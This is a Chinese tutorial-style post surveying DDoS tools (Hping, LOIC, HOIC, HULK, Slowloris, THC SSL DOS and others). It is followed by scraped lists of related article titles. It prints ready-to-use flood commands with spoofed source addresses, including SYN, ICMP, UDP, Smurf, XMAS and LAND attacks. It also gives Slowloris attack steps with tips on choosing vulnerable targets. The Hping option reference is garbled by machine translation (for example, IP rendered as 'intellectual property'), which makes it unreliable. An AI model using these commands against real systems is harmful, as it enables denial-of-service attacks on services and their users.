DDoS攻击工具

综合性工具

综合性工具除了可以进行DDoS攻击外,还可用于其他的用途,例如:端口扫描、安全审计、防火墙等。实际上,大部分综合性工具开发的原始目的并不是用于DDoS,而是“网络检查或测试工具”

Hping

​ Hping是一个编码和解码TCP/IP协议的命令行开发工具,常用于测试网络及主机的安全,同时也可以做安全审计、防火墙测试等工具的标配工具;Hping的命令行就像常用的ping命令,不同的是,它不仅能发送ICMP请求,而且支持TCP、UDP、RAW-IP等协议;Hping的特色在于能够定制数据包的各个部分。

​ Hping常常别用做网络攻击工具,使用Hping可以方便的额构造DoS攻击,如:ICMP洪水攻击、UDP洪水攻击、SYN洪水攻击等。

​ Hping的常用功能包括网络压力测试、防火墙测试、端口扫描等。

使用手册:https://www.hi-linux.com/posts/57862.html

-H——帮助显示此帮助

-V—版本显示版本

-C——发送数据包的数据项目

-i——间隔发送数据包的间隔时间(u即微秒)(u x表示x微秒,例如-i u1000)

---i u10000的快速别名(每秒10个数据包)

---i u1000的更快别名(每秒100个数据包)

--Flood快速发送数据包,不显示返回

-n——数字化输出

-Q——安静安静模式

-i——接口接口名称(否则为默认路由接口)

-v——详细详细模式

-d——调试调试信息

-z—将bind ctrl+z绑定到ttl(默认为dst端口)

-Z—取消绑定取消绑定ctrl+z

--每收到一个匹配的数据包都会发出哔哔声

模式

默认模式TCP

-0—RAWIP原始IP模式

-1—ICMP ICMP模式

-2——UDP UDP模式

-8——扫描扫描模式。

示例:hping--scan 1-30,70-90-s www.target.host

-9——听-听模式

知识产权

-a—欺骗源地址

--随机目的地地址模式。见那个人。

--随机源地址模式。见那个人。

-T—TTL TTL(默认为64)

-n—ID ID(默认随机)

-w——win id使用win*id字节排序

-r——rel relativize id字段(用于估计主机流量)

-f——用更多的碎片分割数据包。(可能通过弱ACL)

-x—morefrag设置更多片段标志

-Y—Dontfrag集不分段标志

-g—fragoff设置碎片偏移量

-m——mtu设置虚拟mtu,意味着——如果包大小大于mtu,则为frag

-o--tos服务类型(默认为0x00),尝试--tos帮助

-g——route包括记录路由选项并显示路由缓冲区

--LSRR松散源路由和记录路由

--SSRR严格的源路由和记录路由

-h--ipproto设置IP协议字段,仅在原始IP模式下

ICMP

-C—icmp type icp类型(默认回显请求)

-k—ICMPCode ICMP代码(默认为0)

--强制ICMP发送所有ICMP类型(默认仅发送支持的类型)

--icmp gw为icmp重定向设置网关地址(默认为0.0.0.0)

--icmp ts别名--icmp--icmptype 13(icmp时间戳)

--ICMP地址别名--ICMP--ICMPType 17(ICMP地址子网掩码)

--ICMP帮助显示其他ICMP选项的帮助

UDP/TCP协议

-S—基址端口基址源端口(默认随机)

-p--destport[+]+]destination port(默认值0)ctrl+z inc/dec

-k——保持源端口静止

-w—win winsize(默认值64)

-o——tcpoff设置假tcp数据偏移量(而不是tcphdrlen/4)

-q—seqnum仅显示TCP序列号

-B—badcksum(尝试)发送具有错误IP校验和的数据包

许多系统将修复发送数据包的IP校验和

因此,您将得到错误的UDP/TCP校验和。

-m——setseq设置TCP序列号

-L—set ack设置tcp ack

-F—fin设置fin标志

-S—SYN设置SYN标志

-R——RST设置RST标志

-P——推集推标志

-A—ACK设置ACK标志

-U—URG设置URG标志

-x—xmas set x unused标志(0x40)

-Y—Ymas设置Y未使用标志(0x80)

--tcp exit code使用最后一个tcp->th_标志作为退出代码

--tcp mss使用给定值启用tcp mss选项

--tcp timestamp启用tcp timestamp选项来猜测hz/uptime

共同的

-d——数据数据大小(默认值为0)

-e——文件中的文件数据

-E——签名加上“签名”

-j——以十六进制转储数据包

-j——打印转储可打印字符

-B——安全启用“安全”协议

-u——结束,告诉你什么时候——文件到达eof,并防止倒带。

-t——traceroute traceroute模式(意味着——bind和——ttl 1)

--在traceroute模式下接收第一个非ICMP时,tr停止退出

--tr keep ttl保持源ttl固定,仅用于监视一个跃点

--tr no rtt不在traceroute模式下计算/显示rtt信息

ARS包描述(新的、不稳定的)

--APD发送发送APD描述的数据包(见docs/apd.txt)

Hping操作

上两张图是Hping3命令界面和目标192.168.2.191主机的拦包结果:

Hping命令使用的是 -i:是间隔100000微秒(其中u是微秒单位)发送数据包的间隔时间

-0—RAWIP原始IP模式

-1—ICMP ICMP模式

-2—UDP UDP模式

-8—扫描扫描模式

-a:伪造源IP地址为xxx.xxx.xxx.xxx

SYN Flooding(SYN洪水攻击)

hping3	目标主机IP	-i	u微秒时间	-S	-a	伪造的源IP

伪造IP的ICMP封包

hping3 目標主機IP -i u100000 -1 -a 偽造來源IP
  • SYN+FIN
hping3 目標主機IP -i u100000 -S -F -a 偽造來源IP

  • FIN+SYN+RSP+PSH+ACK+UDP
hping3 目标主机IP -i u100000 -F -S -R -A -U -a 伪造来源IP

  • 伪造IP的UDP封包
hping3 目标主机IP -i u100000 -2 -a 伪造来源IP

上述的命令中,伪造了源IP向目标主机发送了UDP数据包

  • 伪造IP内含数据代码
hping3 目标主机IP -i u100000 -d[封包数据] -E[文件名] -a[伪造源IP]
  • SMURF攻击

结合使用了IP欺骗和ICMP回复方法使大量网络传输充斥目标系统,引起目标系统拒绝为正常系统进行服务。

hping3 -1 -a 192.168.1.5 192.168.1.255
  • XMAS TREE攻击
hping3 -SFRP 目标IP
  • LAND攻击
hping3 -k -S -s 25 -p 25 -a 伪造源IP地址
  • 用tcpdump的记录流量

PenTBox

兼容windows、mac os、Android;基于Ruby开发。

  • 三个主体功能

    • 密码算法工具

    • 网络工具(压力测试、溢出攻击)

    • Web安全测试工具

Zarp

Zarp是一款采用python编写的而网络攻击测试集成工具Zarp仅限运行在Linux平台,Zarp的主要接口是一个CLI驱动的图形界面。

  • 启动Zarp.py

压力测试工具

LOIC

LOIC,低轨道离子炮;开源的网络压力测试工具。

  • Windows平台LOIC启动界面

LOIC的不足之处在于他不可以伪造源IP地址。

LOIC可以对目标发动TCP、UDP以及HTTP GET等洪水攻击

HOIC

HOIC,高轨道离子炮;是一款基于HTTP协议的开源DDoS工具,HOIC主要用于内部网络和外部服务器安全性和稳定性能测试;

HOIC可以发送多线程的HTTP FLOOD洪水攻击;同样额HOIC也同样无法隐藏源IP地址。

HULK

​ HULK是一款基于Python的Web压力测试工具。HULK默认启动500线程对目标发起高频率的HTTP GET洪水攻击请求,独特之处在于,每一次的请求都是独一的,由此可以绕开服务器端采用缓存的防范措施。同时HULK也支持User-Agent和referer的伪造。

专业的攻击工具

Slowloris

Slowloris是一个Perl程序。(也有Python的版本)

​ Slowloris的使用较为简单,一般分为两个步骤:

  • 首先是对目标进行探测:
perl slowloris.pl -dns 目标IP	-port 目标端口号	-test

​ 对目标进行探测的主要目的是获取目标服务器的连接时间,当目标服务器的时间超时小于166秒,工具运行会出现异常,所以建议选择超时时间大于200秒以上的目标。

测试中,首要是确定目标的对象IP,然后进行多次的超时时长的探测。

  • 实施攻击
perl slowloris.pl -dns 目标IP -port 目标端口号 - timeout TTL

TTL指的是根据之前的探测,设置一个合适的超时时间;因为Slowloris攻击方法主要就是依靠超时占用对方资源而实现DoS攻击的目的,所以还是需要这只一个合适的超时时间的。

​ 在之前提过,该攻击方法是有不足的,只能针对部分的web服务端有效;目前收到影响的有:Apache1.x/2.x、dhttpd、GoAhead、WebServer、Squid等;而IIS则不受影响。

R.U.D.Y

​ RUDY采用一种慢速的HTTP POST请求的方式给目标发动攻击。与之前的Slowloris利用请求Header部分不同,RUDY利用的是请求的body部分;因为服务器端会根据Content-Length字段的内容值持续等待,直到客户端数据发送完毕。

太繁琐,不用了。

THC SSL DOS

​ THC SSL DOS 利用SSL中已知弱点而使其DoS;这种攻击是非对称的,一次客户请求就可以让服务端进行相当于客户端的15倍的CPU资源进行处理。

thc-ssl-dos --accept xxx.xxx.xxx.xxx [prot]xx

如果目标禁用或启动了安全的 rengotiation ,则会提示攻击失败。

利用THC SSL DOS工具,一台性能和带宽中等的主机就可以挑战高性能的服务器;攻击效果非常明显。

DDoS攻击工具的更多相关文章

  1. 实用的DDos攻击工具

    来源: http://www.safecdn.cn/linux/2018/12/ddos/95.html ‎ 特别提示:仅用于攻防演练及教学测试用途,禁止非法使用 Hyenae 是在windows平台 ...

  2. DDOS 攻击工具

    DDOS  攻击工具 使用github上的DDOS攻击工具 https://github.com/Ha3MrX/DDos-Attack 将python脚本拷贝到主机,使用 chmod +x ddos- ...

  3. 免费DDOS攻击测试工具大合集

    FreeBuf微科普: DoS(Denial Of Service)攻击是指故意的攻击网络协议实现的缺陷或直接通过野蛮手段残忍地耗尽被攻击对象的资源,目的是让目标计算机或网络无法提供正常的服务或资源访 ...

  4. DDOS攻击方式总结以及免费DDOS攻击测试工具大合集

    若有雷同或者不足之处,欢迎指正交流,谢谢! DoS(Denial Of Service)攻击是指故意的攻击网络协议实现的缺陷或直接通过野蛮手段残忍地耗尽被攻击对象的资源,目的是让目标计算机或网络无法提 ...

  5. 漫画告诉你什么是DDoS攻击?

    本文作者:魏杰 文章转载自:绿盟科技博客,原文标题:看ADS如何治愈DDoS伤痛 根据<2015 H1绿盟科技DDoS威胁报告>指出,如今大流量网络攻击正逐渐呈现增长趋势,前不久锤子科技的 ...

  6. 程序员快递请查收,来自Python黑客大佬的一份DDOS攻击说明书!

    DDoS攻击没有我们想象中的那么简单,并不是什么Python程序员都能够做到的. 若要知晓黑客利用DDOS攻击原理那么我们必须要知道是实行DDoS攻击比较难的原因是什么? 很简单的一句话概括:&quo ...

  7. 免费的DDos网络测试工具集合

    今天晚上看YT上的hulk VS monster Dogs 然后想看电影资源,给我推送了hulk这款工具了解下,发现了一些东西,收藏下 1.卢瓦(LOIC) (Low Orbit Ion Canon) ...

  8. cc攻击和ddos攻击

    DoS攻击.CC攻击的攻击方式和防御方法 DDoS介绍 DDoS是英文Distributed Denial of Service的缩写,意即“分布式拒绝服务”,那么什么又是拒绝服务(Denial of ...

  9. CC攻击工具list

    从论文里抠出来的工具列表如下,后面有黑产的工具以及网络上摘录的工具: 分类:(1)有僵尸网络(是否代理服务器)&没有的==>(2)单一url&混合url(多线程,压测为主,dem ...

随机推荐

  1. golang-结构体与指针

    1.结构体 结构体是一系列具有指定数据类型的数据类型 ,就是一个结构体中存储多个不同类型的数据字段 ,用于创建传递复杂数据结构 结构体可以理解为面向对象的模板 ,但是go并非面向对象 ,结构体只是一种 ...

  2. 关于javascript中变量及函数的提升

    javascript中变量以及函数的提升,在我们平时的项目中其实还是挺常用的,尤其是大型项目中,不知不觉就会顺手添加一些变量,而有时候自己的不小心就会酿成一些不必要错误,趁有时间整理一下自己对于js中 ...

  3. js基础——错误处理

    一:错误捕获 1.try-catch 语句(错误捕获) try{ //这里放置可能出现问题的代码 }catch(error){ //错误发生时执行的代码 console.log(error.name) ...

  4. SQL Server 数据类型详解

    引言 SQL Server是我们日常工作中经常用到的数据库,也是商业系统运用最广泛的数据库之一.如何构建合理.高效.节省空间的数据库?是非常考验程序的基本功底,因为数据库是程序的根基,直接影响着系统效 ...

  5. 记录:c#实现微信,支付宝扫码支付(一)

    因为公司系统业务需要,这几天了解了一下微信和支付宝扫码支付的接口,并用c#实现了微信和支付宝扫码支付的功能. 微信支付分为6种支付模式:1.付款码支付,2.native支付,3.jsapi支付,4.a ...

  6. 【实习第一天】odoo开发基础(一)

    管理权限 在项目中,有个security文件夹,其中的ir.model.access文件后面带4个参数.分别代表着读,写,创建,删除的操作 想要开启权限需要将其参数调成为1,反之为0.倘若不调整参数, ...

  7. 【JDBC】JDBC入门

    JDBC的入门 搭建开发环境 编写程序,在程序中加载数据库驱动 建立连接 创建用于向数据库发送SQL的Statement对象 从代表结果集的ResultSet中取出数据 断开与数据库的连接,并释放相关 ...

  8. opensciencegrid - GridFTP 安装

    最近配置一个GridFTP 用于测试其传输FTP性能, 在这里简单记录,备忘:使用本教程可以简单起一个GridFTP用于测试服务: 预配置环境: 测试系统:CentOS 7 1806 配置Yum仓库: ...

  9. 7. java 数组概念

    一.数组概念 ​ 数组:是一种容器,可以同时存放多个数据值: ​ 特点:数组是一种引用类型:数组中多个数据,类型必须统一:数组的长度在程序运行期间不可改变: 二.数组初始化 1. 动态初始化(指定长度 ...

  10. acwing 50. 序列化二叉树

    地址 https://www.acwing.com/problem/content/46/ 请实现两个函数,分别用来序列化和反序列化二叉树. 您需要确保二叉树可以序列化为字符串,并且可以将此字符串反序 ...